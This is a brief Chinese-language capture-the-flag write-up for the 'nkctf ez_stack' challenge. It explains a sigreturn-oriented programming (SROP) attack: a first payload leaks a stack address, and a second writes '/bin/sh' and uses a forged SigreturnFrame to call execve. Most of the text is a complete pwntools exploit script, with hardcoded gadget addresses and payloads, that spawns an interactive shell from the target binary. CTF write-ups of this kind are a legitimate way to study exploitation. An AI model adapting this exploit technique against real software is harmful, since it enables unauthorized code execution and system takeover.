nkctf ez_stack(srop)
保护检查

源码分析

第一次的payloadpayload = 'a'*0x10 + p64(0) + p64(syscall_ret) + p64(syscall_read) + p64(0) + p64(syscall_read_xor)
按照程序中的代码到最后rax会被置零,返回到syscall_ret时还会进行输入,我们输入一个字符,这样rax就会存入返回值1,这时再调用到syscall_read就会打印0x200个字符,在其中泄露出栈上的一个地址,在接近返回的时候有一个pop rbp,用p64(0)进行填充,再返回的时候就又可以输入了。
第二次的payloadpayload = "/bin/sh\x00" * 3 + p64(mov_rax) + p64(syscall_ret) + str(frame),把/bin/sh写入栈中,利用刚才泄露的栈地址计算出/bin/sh的位置
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * context(os='linux',arch='amd64',log_level='debug') p = process("./pwn") syscall_read_xor = 0x00000000004011DC syscall_read = 0x00000000004011DF syscall_ret = 0x00000000040114E syscall = 0x00000000004011DA mov_rax = 0x401146 def debug(): gdb.attach(p) payload = 'a'*0x10 + p64(0) + p64(syscall_ret) + p64(syscall_read) + p64(0) + p64(syscall_read_xor) p.recv() p.sendline(payload) #pause() sleep(0.5) p.send("a") stack_addr = u64(p.recv(40)[-8:]) print(hex(stack_addr)) p.recv() frame = SigreturnFrame() frame.rax = 59 frame.rdi = stack_addr - 0xa2 frame.rsi = 0 frame.rdx = 0 frame.rbp = stack_addr frame.rsp = stack_addr frame.rip = syscall payload = "/bin/sh\x00" * 3 + p64(mov_rax) + p64(syscall_ret) + str(frame) p.sendline(payload) #debug() p.interactive()
|